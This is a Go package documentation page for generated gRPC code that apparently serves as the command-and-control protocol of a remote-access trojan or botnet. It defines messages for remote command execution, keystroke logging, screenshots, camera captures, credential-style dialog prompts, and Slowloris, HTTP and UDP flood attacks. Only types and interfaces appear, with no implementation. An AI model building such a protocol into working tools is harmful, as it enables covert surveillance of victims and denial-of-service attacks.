pb

package
v0.0.0-...-2009461 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 25, 2022 License: MIT Imports: 8 Imported by: 3

Documentation

Index

Constants

This section is empty.

Variables

View Source
var Consumer_ServiceDesc = grpc.ServiceDesc{
	ServiceName: "pb.Consumer",
	HandlerType: (*ConsumerServer)(nil),
	Methods: []grpc.MethodDesc{
		{
			MethodName: "GetCommand",
			Handler:    _Consumer_GetCommand_Handler,
		},
		{
			MethodName: "SetCommandOutput",
			Handler:    _Consumer_SetCommandOutput_Handler,
		},
		{
			MethodName: "GetFlood",
			Handler:    _Consumer_GetFlood_Handler,
		},
		{
			MethodName: "GetDialog",
			Handler:    _Consumer_GetDialog_Handler,
		},
		{
			MethodName: "SetDialogOutput",
			Handler:    _Consumer_SetDialogOutput_Handler,
		},
		{
			MethodName: "SetKeylogOutput",
			Handler:    _Consumer_SetKeylogOutput_Handler,
		},
		{
			MethodName: "GetScreen",
			Handler:    _Consumer_GetScreen_Handler,
		},
		{
			MethodName: "SetScreenOutput",
			Handler:    _Consumer_SetScreenOutput_Handler,
		},
		{
			MethodName: "GetPicture",
			Handler:    _Consumer_GetPicture_Handler,
		},
		{
			MethodName: "SetPictureOutput",
			Handler:    _Consumer_SetPictureOutput_Handler,
		},
		{
			MethodName: "RegisterClient",
			Handler:    _Consumer_RegisterClient_Handler,
		},
		{
			MethodName: "UnregisterClient",
			Handler:    _Consumer_UnregisterClient_Handler,
		},
	},
	Streams: []grpc.StreamDesc{
		{
			StreamName:    "SubscribeOnScreenText",
			Handler:       _Consumer_SubscribeOnScreenText_Handler,
			ServerStreams: true,
		},
	},
	Metadata: "ClientData.proto",
}

Consumer_ServiceDesc is the grpc.ServiceDesc for Consumer service. It's only intended for direct use with grpc.RegisterService, and not to be introspected or modified (even as a copy)

View Source
var File_ClientData_proto protoreflect.FileDescriptor

Functions

func RegisterConsumerServer

func RegisterConsumerServer(s grpc.ServiceRegistrar, srv ConsumerServer)

Types

type ClientDataOnScreenTextResponse

type ClientDataOnScreenTextResponse struct {
	OnScreen *ClientOnScreenData `protobuf:"bytes,1,opt,name=on_screen,json=onScreen,proto3" json:"on_screen,omitempty"`
	// contains filtered or unexported fields
}

func (*ClientDataOnScreenTextResponse) Descriptor deprecated

func (*ClientDataOnScreenTextResponse) Descriptor() ([]byte, []int)

Deprecated: Use ClientDataOnScreenTextResponse.ProtoReflect.Descriptor instead.

func (*ClientDataOnScreenTextResponse) GetOnScreen

func (*ClientDataOnScreenTextResponse) ProtoMessage

func (*ClientDataOnScreenTextResponse) ProtoMessage()

func (*ClientDataOnScreenTextResponse) ProtoReflect

func (*ClientDataOnScreenTextResponse) Reset

func (x *ClientDataOnScreenTextResponse) Reset()

func (*ClientDataOnScreenTextResponse) String

type ClientDataRequest

type ClientDataRequest struct {
	ClientId string `protobuf:"bytes,1,opt,name=client_id,json=clientId,proto3" json:"client_id,omitempty"`
	// contains filtered or unexported fields
}

func (*ClientDataRequest) Descriptor deprecated

func (*ClientDataRequest) Descriptor() ([]byte, []int)

Deprecated: Use ClientDataRequest.ProtoReflect.Descriptor instead.

func (*ClientDataRequest) GetClientId

func (x *ClientDataRequest) GetClientId() string

func (*ClientDataRequest) ProtoMessage

func (*ClientDataRequest) ProtoMessage()

func (*ClientDataRequest) ProtoReflect

func (x *ClientDataRequest) ProtoReflect() protoreflect.Message

func (*ClientDataRequest) Reset

func (x *ClientDataRequest) Reset()

func (*ClientDataRequest) String

func (x *ClientDataRequest) String() string

type ClientExecData

type ClientExecData struct {
	ShouldExec bool   `protobuf:"varint,1,opt,name=ShouldExec,proto3" json:"ShouldExec,omitempty"`
	Command    string `protobuf:"bytes,2,opt,name=Command,proto3" json:"Command,omitempty"`
	// contains filtered or unexported fields
}

func (*ClientExecData) Descriptor deprecated

func (*ClientExecData) Descriptor() ([]byte, []int)

Deprecated: Use ClientExecData.ProtoReflect.Descriptor instead.

func (*ClientExecData) GetCommand

func (x *ClientExecData) GetCommand() string

func (*ClientExecData) GetShouldExec

func (x *ClientExecData) GetShouldExec() bool

func (*ClientExecData) ProtoMessage

func (*ClientExecData) ProtoMessage()

func (*ClientExecData) ProtoReflect

func (x *ClientExecData) ProtoReflect() protoreflect.Message

func (*ClientExecData) Reset

func (x *ClientExecData) Reset()

func (*ClientExecData) String

func (x *ClientExecData) String() string

type ClientExecOutput

type ClientExecOutput struct {
	Id     *ClientDataRequest `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	Output []byte             `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"`
	// contains filtered or unexported fields
}

func (*ClientExecOutput) Descriptor deprecated

func (*ClientExecOutput) Descriptor() ([]byte, []int)

Deprecated: Use ClientExecOutput.ProtoReflect.Descriptor instead.

func (*ClientExecOutput) GetId

func (x *ClientExecOutput) GetId() *ClientDataRequest

func (*ClientExecOutput) GetOutput

func (x *ClientExecOutput) GetOutput() []byte

func (*ClientExecOutput) ProtoMessage

func (*ClientExecOutput) ProtoMessage()

func (*ClientExecOutput) ProtoReflect

func (x *ClientExecOutput) ProtoReflect() protoreflect.Message

func (*ClientExecOutput) Reset

func (x *ClientExecOutput) Reset()

func (*ClientExecOutput) String

func (x *ClientExecOutput) String() string

type ClientOnScreenData

type ClientOnScreenData struct {
	ShouldUpdate bool   `protobuf:"varint,1,opt,name=ShouldUpdate,proto3" json:"ShouldUpdate,omitempty"`
	OnScreenText string `protobuf:"bytes,2,opt,name=OnScreenText,proto3" json:"OnScreenText,omitempty"`
	// contains filtered or unexported fields
}

func (*ClientOnScreenData) Descriptor deprecated

func (*ClientOnScreenData) Descriptor() ([]byte, []int)

Deprecated: Use ClientOnScreenData.ProtoReflect.Descriptor instead.

func (*ClientOnScreenData) GetOnScreenText

func (x *ClientOnScreenData) GetOnScreenText() string

func (*ClientOnScreenData) GetShouldUpdate

func (x *ClientOnScreenData) GetShouldUpdate() bool

func (*ClientOnScreenData) ProtoMessage

func (*ClientOnScreenData) ProtoMessage()

func (*ClientOnScreenData) ProtoReflect

func (x *ClientOnScreenData) ProtoReflect() protoreflect.Message

func (*ClientOnScreenData) Reset

func (x *ClientOnScreenData) Reset()

func (*ClientOnScreenData) String

func (x *ClientOnScreenData) String() string

type ConsumerClient

type ConsumerClient interface {
	SubscribeOnScreenText(ctx context.Context, in *ClientDataRequest, opts ...grpc.CallOption) (Consumer_SubscribeOnScreenTextClient, error)
	GetCommand(ctx context.Context, in *ClientDataRequest, opts ...grpc.CallOption) (*ClientExecData, error)
	SetCommandOutput(ctx context.Context, in *ClientExecOutput, opts ...grpc.CallOption) (*Void, error)
	GetFlood(ctx context.Context, in *Void, opts ...grpc.CallOption) (*FloodData, error)
	GetDialog(ctx context.Context, in *ClientDataRequest, opts ...grpc.CallOption) (*DialogData, error)
	SetDialogOutput(ctx context.Context, in *DialogOutput, opts ...grpc.CallOption) (*Void, error)
	SetKeylogOutput(ctx context.Context, in *KeylogOutput, opts ...grpc.CallOption) (*Void, error)
	GetScreen(ctx context.Context, in *ClientDataRequest, opts ...grpc.CallOption) (*ScreenData, error)
	SetScreenOutput(ctx context.Context, in *ScreenOutput, opts ...grpc.CallOption) (*Void, error)
	GetPicture(ctx context.Context, in *ClientDataRequest, opts ...grpc.CallOption) (*PictureData, error)
	SetPictureOutput(ctx context.Context, in *PictureOutput, opts ...grpc.CallOption) (*Void, error)
	RegisterClient(ctx context.Context, in *RegisterData, opts ...grpc.CallOption) (*Void, error)
	UnregisterClient(ctx context.Context, in *RegisterData, opts ...grpc.CallOption) (*Void, error)
}

ConsumerClient is the client API for Consumer service.

For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.

func NewConsumerClient

func NewConsumerClient(cc grpc.ClientConnInterface) ConsumerClient

type ConsumerServer

type ConsumerServer interface {
	SubscribeOnScreenText(*ClientDataRequest, Consumer_SubscribeOnScreenTextServer) error
	GetCommand(context.Context, *ClientDataRequest) (*ClientExecData, error)
	SetCommandOutput(context.Context, *ClientExecOutput) (*Void, error)
	GetFlood(context.Context, *Void) (*FloodData, error)
	GetDialog(context.Context, *ClientDataRequest) (*DialogData, error)
	SetDialogOutput(context.Context, *DialogOutput) (*Void, error)
	SetKeylogOutput(context.Context, *KeylogOutput) (*Void, error)
	GetScreen(context.Context, *ClientDataRequest) (*ScreenData, error)
	SetScreenOutput(context.Context, *ScreenOutput) (*Void, error)
	GetPicture(context.Context, *ClientDataRequest) (*PictureData, error)
	SetPictureOutput(context.Context, *PictureOutput) (*Void, error)
	RegisterClient(context.Context, *RegisterData) (*Void, error)
	UnregisterClient(context.Context, *RegisterData) (*Void, error)
	// contains filtered or unexported methods
}

ConsumerServer is the server API for Consumer service. All implementations must embed UnimplementedConsumerServer for forward compatibility

type Consumer_SubscribeOnScreenTextClient

type Consumer_SubscribeOnScreenTextClient interface {
	Recv() (*ClientDataOnScreenTextResponse, error)
	grpc.ClientStream
}

type Consumer_SubscribeOnScreenTextServer

type Consumer_SubscribeOnScreenTextServer interface {
	Send(*ClientDataOnScreenTextResponse) error
	grpc.ServerStream
}

type DialogData

type DialogData struct {
	ShouldShowDialog bool   `protobuf:"varint,1,opt,name=shouldShowDialog,proto3" json:"shouldShowDialog,omitempty"`
	DialogPrompt     string `protobuf:"bytes,2,opt,name=DialogPrompt,proto3" json:"DialogPrompt,omitempty"`
	DialogTitle      string `protobuf:"bytes,3,opt,name=DialogTitle,proto3" json:"DialogTitle,omitempty"`
	// contains filtered or unexported fields
}

func (*DialogData) Descriptor deprecated

func (*DialogData) Descriptor() ([]byte, []int)

Deprecated: Use DialogData.ProtoReflect.Descriptor instead.

func (*DialogData) GetDialogPrompt

func (x *DialogData) GetDialogPrompt() string

func (*DialogData) GetDialogTitle

func (x *DialogData) GetDialogTitle() string

func (*DialogData) GetShouldShowDialog

func (x *DialogData) GetShouldShowDialog() bool

func (*DialogData) ProtoMessage

func (*DialogData) ProtoMessage()

func (*DialogData) ProtoReflect

func (x *DialogData) ProtoReflect() protoreflect.Message

func (*DialogData) Reset

func (x *DialogData) Reset()

func (*DialogData) String

func (x *DialogData) String() string

type DialogOutput

type DialogOutput struct {
	EntryText string             `protobuf:"bytes,1,opt,name=EntryText,proto3" json:"EntryText,omitempty"`
	Id        *ClientDataRequest `protobuf:"bytes,2,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

func (*DialogOutput) Descriptor deprecated

func (*DialogOutput) Descriptor() ([]byte, []int)

Deprecated: Use DialogOutput.ProtoReflect.Descriptor instead.

func (*DialogOutput) GetEntryText

func (x *DialogOutput) GetEntryText() string

func (*DialogOutput) GetId

func (x *DialogOutput) GetId() *ClientDataRequest

func (*DialogOutput) ProtoMessage

func (*DialogOutput) ProtoMessage()

func (*DialogOutput) ProtoReflect

func (x *DialogOutput) ProtoReflect() protoreflect.Message

func (*DialogOutput) Reset

func (x *DialogOutput) Reset()

func (*DialogOutput) String

func (x *DialogOutput) String() string

type FloodData

type FloodData struct {
	ShouldFlood bool   `protobuf:"varint,1,opt,name=ShouldFlood,proto3" json:"ShouldFlood,omitempty"`
	FloodType   int32  `protobuf:"varint,2,opt,name=floodType,proto3" json:"floodType,omitempty"` // 0 = Slowloris, 1 = Httpflood, 2 = Updflood
	Url         string `protobuf:"bytes,3,opt,name=url,proto3" json:"url,omitempty"`
	Limit       int64  `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"`
	NumThreads  int64  `protobuf:"varint,5,opt,name=num_threads,json=numThreads,proto3" json:"num_threads,omitempty"`
	// contains filtered or unexported fields
}

func (*FloodData) Descriptor deprecated

func (*FloodData) Descriptor() ([]byte, []int)

Deprecated: Use FloodData.ProtoReflect.Descriptor instead.

func (*FloodData) GetFloodType

func (x *FloodData) GetFloodType() int32

func (*FloodData) GetLimit

func (x *FloodData) GetLimit() int64

func (*FloodData) GetNumThreads

func (x *FloodData) GetNumThreads() int64

func (*FloodData) GetShouldFlood

func (x *FloodData) GetShouldFlood() bool

func (*FloodData) GetUrl

func (x *FloodData) GetUrl() string

func (*FloodData) ProtoMessage

func (*FloodData) ProtoMessage()

func (*FloodData) ProtoReflect

func (x *FloodData) ProtoReflect() protoreflect.Message

func (*FloodData) Reset

func (x *FloodData) Reset()

func (*FloodData) String

func (x *FloodData) String() string

type KeylogOutput

type KeylogOutput struct {
	Id          *ClientDataRequest `protobuf:"bytes,3,opt,name=id,proto3" json:"id,omitempty"`
	WindowTitle string             `protobuf:"bytes,1,opt,name=windowTitle,proto3" json:"windowTitle,omitempty"`
	Key         int32              `protobuf:"varint,2,opt,name=key,proto3" json:"key,omitempty"`
	// contains filtered or unexported fields
}

func (*KeylogOutput) Descriptor deprecated

func (*KeylogOutput) Descriptor() ([]byte, []int)

Deprecated: Use KeylogOutput.ProtoReflect.Descriptor instead.

func (*KeylogOutput) GetId

func (x *KeylogOutput) GetId() *ClientDataRequest

func (*KeylogOutput) GetKey

func (x *KeylogOutput) GetKey() int32

func (*KeylogOutput) GetWindowTitle

func (x *KeylogOutput) GetWindowTitle() string

func (*KeylogOutput) ProtoMessage

func (*KeylogOutput) ProtoMessage()

func (*KeylogOutput) ProtoReflect

func (x *KeylogOutput) ProtoReflect() protoreflect.Message

func (*KeylogOutput) Reset

func (x *KeylogOutput) Reset()

func (*KeylogOutput) String

func (x *KeylogOutput) String() string

type PictureData

type PictureData struct {
	ShouldTakePicture bool `protobuf:"varint,1,opt,name=shouldTakePicture,proto3" json:"shouldTakePicture,omitempty"`
	// contains filtered or unexported fields
}

func (*PictureData) Descriptor deprecated

func (*PictureData) Descriptor() ([]byte, []int)

Deprecated: Use PictureData.ProtoReflect.Descriptor instead.

func (*PictureData) GetShouldTakePicture

func (x *PictureData) GetShouldTakePicture() bool

func (*PictureData) ProtoMessage

func (*PictureData) ProtoMessage()

func (*PictureData) ProtoReflect

func (x *PictureData) ProtoReflect() protoreflect.Message

func (*PictureData) Reset

func (x *PictureData) Reset()

func (*PictureData) String

func (x *PictureData) String() string

type PictureOutput

type PictureOutput struct {
	PictureData []byte             `protobuf:"bytes,1,opt,name=PictureData,proto3" json:"PictureData,omitempty"`
	Id          *ClientDataRequest `protobuf:"bytes,2,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

func (*PictureOutput) Descriptor deprecated

func (*PictureOutput) Descriptor() ([]byte, []int)

Deprecated: Use PictureOutput.ProtoReflect.Descriptor instead.

func (*PictureOutput) GetId

func (x *PictureOutput) GetId() *ClientDataRequest

func (*PictureOutput) GetPictureData

func (x *PictureOutput) GetPictureData() []byte

func (*PictureOutput) ProtoMessage

func (*PictureOutput) ProtoMessage()

func (*PictureOutput) ProtoReflect

func (x *PictureOutput) ProtoReflect() protoreflect.Message

func (*PictureOutput) Reset

func (x *PictureOutput) Reset()

func (*PictureOutput) String

func (x *PictureOutput) String() string

type RegisterData

type RegisterData struct {
	Ip string             `protobuf:"bytes,1,opt,name=ip,proto3" json:"ip,omitempty"`
	Id *ClientDataRequest `protobuf:"bytes,2,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

func (*RegisterData) Descriptor deprecated

func (*RegisterData) Descriptor() ([]byte, []int)

Deprecated: Use RegisterData.ProtoReflect.Descriptor instead.

func (*RegisterData) GetId

func (x *RegisterData) GetId() *ClientDataRequest

func (*RegisterData) GetIp

func (x *RegisterData) GetIp() string

func (*RegisterData) ProtoMessage

func (*RegisterData) ProtoMessage()

func (*RegisterData) ProtoReflect

func (x *RegisterData) ProtoReflect() protoreflect.Message

func (*RegisterData) Reset

func (x *RegisterData) Reset()

func (*RegisterData) String

func (x *RegisterData) String() string

type ScreenData

type ScreenData struct {
	ShouldTakeScreenshot bool `protobuf:"varint,1,opt,name=shouldTakeScreenshot,proto3" json:"shouldTakeScreenshot,omitempty"`
	// contains filtered or unexported fields
}

func (*ScreenData) Descriptor deprecated

func (*ScreenData) Descriptor() ([]byte, []int)

Deprecated: Use ScreenData.ProtoReflect.Descriptor instead.

func (*ScreenData) GetShouldTakeScreenshot

func (x *ScreenData) GetShouldTakeScreenshot() bool

func (*ScreenData) ProtoMessage

func (*ScreenData) ProtoMessage()

func (*ScreenData) ProtoReflect

func (x *ScreenData) ProtoReflect() protoreflect.Message

func (*ScreenData) Reset

func (x *ScreenData) Reset()

func (*ScreenData) String

func (x *ScreenData) String() string

type ScreenOutput

type ScreenOutput struct {
	ImageData []byte             `protobuf:"bytes,1,opt,name=ImageData,proto3" json:"ImageData,omitempty"`
	Id        *ClientDataRequest `protobuf:"bytes,2,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

func (*ScreenOutput) Descriptor deprecated

func (*ScreenOutput) Descriptor() ([]byte, []int)

Deprecated: Use ScreenOutput.ProtoReflect.Descriptor instead.

func (*ScreenOutput) GetId

func (x *ScreenOutput) GetId() *ClientDataRequest

func (*ScreenOutput) GetImageData

func (x *ScreenOutput) GetImageData() []byte

func (*ScreenOutput) ProtoMessage

func (*ScreenOutput) ProtoMessage()

func (*ScreenOutput) ProtoReflect

func (x *ScreenOutput) ProtoReflect() protoreflect.Message

func (*ScreenOutput) Reset

func (x *ScreenOutput) Reset()

func (*ScreenOutput) String

func (x *ScreenOutput) String() string

type UnimplementedConsumerServer

type UnimplementedConsumerServer struct {
}

UnimplementedConsumerServer must be embedded to have forward compatible implementations.

func (UnimplementedConsumerServer) GetCommand

func (UnimplementedConsumerServer) GetDialog

func (UnimplementedConsumerServer) GetFlood

func (UnimplementedConsumerServer) GetPicture

func (UnimplementedConsumerServer) GetScreen

func (UnimplementedConsumerServer) RegisterClient

func (UnimplementedConsumerServer) SetCommandOutput

func (UnimplementedConsumerServer) SetDialogOutput

func (UnimplementedConsumerServer) SetKeylogOutput

func (UnimplementedConsumerServer) SetPictureOutput

func (UnimplementedConsumerServer) SetScreenOutput

func (UnimplementedConsumerServer) SubscribeOnScreenText

func (UnimplementedConsumerServer) UnregisterClient

type UnsafeConsumerServer

type UnsafeConsumerServer interface {
	// contains filtered or unexported methods
}

UnsafeConsumerServer may be embedded to opt out of forward compatibility for this service. Use of this interface is not recommended, as added methods to ConsumerServer will result in compilation errors.

type Void

type Void struct {
	// contains filtered or unexported fields
}

func (*Void) Descriptor deprecated

func (*Void) Descriptor() ([]byte, []int)

Deprecated: Use Void.ProtoReflect.Descriptor instead.

func (*Void) ProtoMessage

func (*Void) ProtoMessage()

func (*Void) ProtoReflect

func (x *Void) ProtoReflect() protoreflect.Message

func (*Void) Reset

func (x *Void) Reset()

func (*Void) String

func (x *Void) String() string

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL